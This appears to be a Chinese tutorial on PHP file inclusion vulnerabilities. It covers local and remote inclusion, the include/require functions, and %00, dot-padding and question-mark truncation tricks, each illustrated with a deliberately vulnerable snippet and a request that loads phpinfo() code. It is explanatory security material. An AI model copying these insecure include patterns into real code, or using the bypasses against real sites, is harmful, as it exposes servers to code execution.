PHP文件包含漏洞

来源:互联网 发布:vb中int是什么意思 编辑:程序博客网 时间:2024/04/29 01:31

PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的。

文件包含分为本地文本包含(local file include)和远程文件包含(remote file include)

文件包含函数有:include(),include_once(),require()和require_once(), 它们之间的区别在于include()和include_once()在包含文件时即使遇到错误,下面的代码也会继续执行;而require()和require_once()则会直接报错退出程序。它们的写法可以在括号里面写要包含的路径,也可以直接用空格再跟路径。

1.本地文件包含是指只能包含本机文件的包含漏洞,大多出现在模块加载,模板加载和cache调用的地方

payload:

<?php define("ROOT",dirname(__file__).'/');

$mod=$_GET['a'];  //加载模块

include(ROOT.$mod.'.php');

?>

请求1.php?a=2 , 其中2.php的内容为<?php phpinfo(); ?>

2.远程文本包含是指可以包含远程文件的包含漏洞,远程文件包含需要设置allow_url_include=on

payload:

<?php include($_GET['url']);?>

请求url参数传入“http://remotehost/2.txt”, 其中2.txt的内容为<?php phpinfo();?>

文件包含截断:正常程序里面包含的文件代码一般像include(basepath.$mod.'.php')或者include($mod.'.php'),如果不能写入.php的后缀名的文件,则需要截断

1.利用%00截断

payload:

<?php include $_GET['a'].'.php'?>

请求1.php?a=2.txt%00, 其中2.txt的内容为<?php phpinfo();?>

注意:%00截断受限于GPC开启和addslashes等函数的过滤,且在5.3之后的版本不能用这个方法截断

2.利用点句(.)和反斜杠(/)来截断

payload:

<?php $str=' '; for($i=0;$i<=240;$i++) {$str.='.';}

$str='2.txt'.$str; include $str.'.php'; ?>

注意:这种方法不受GPC限制,不过在php5.3之后被修复

3.利用问号(?)伪截断

payload:

<?php include $_GET['a'].'.php'?>

请求1.php/a=2.txt?, 其中内容为<?php phpinfo();?>

原创粉丝点击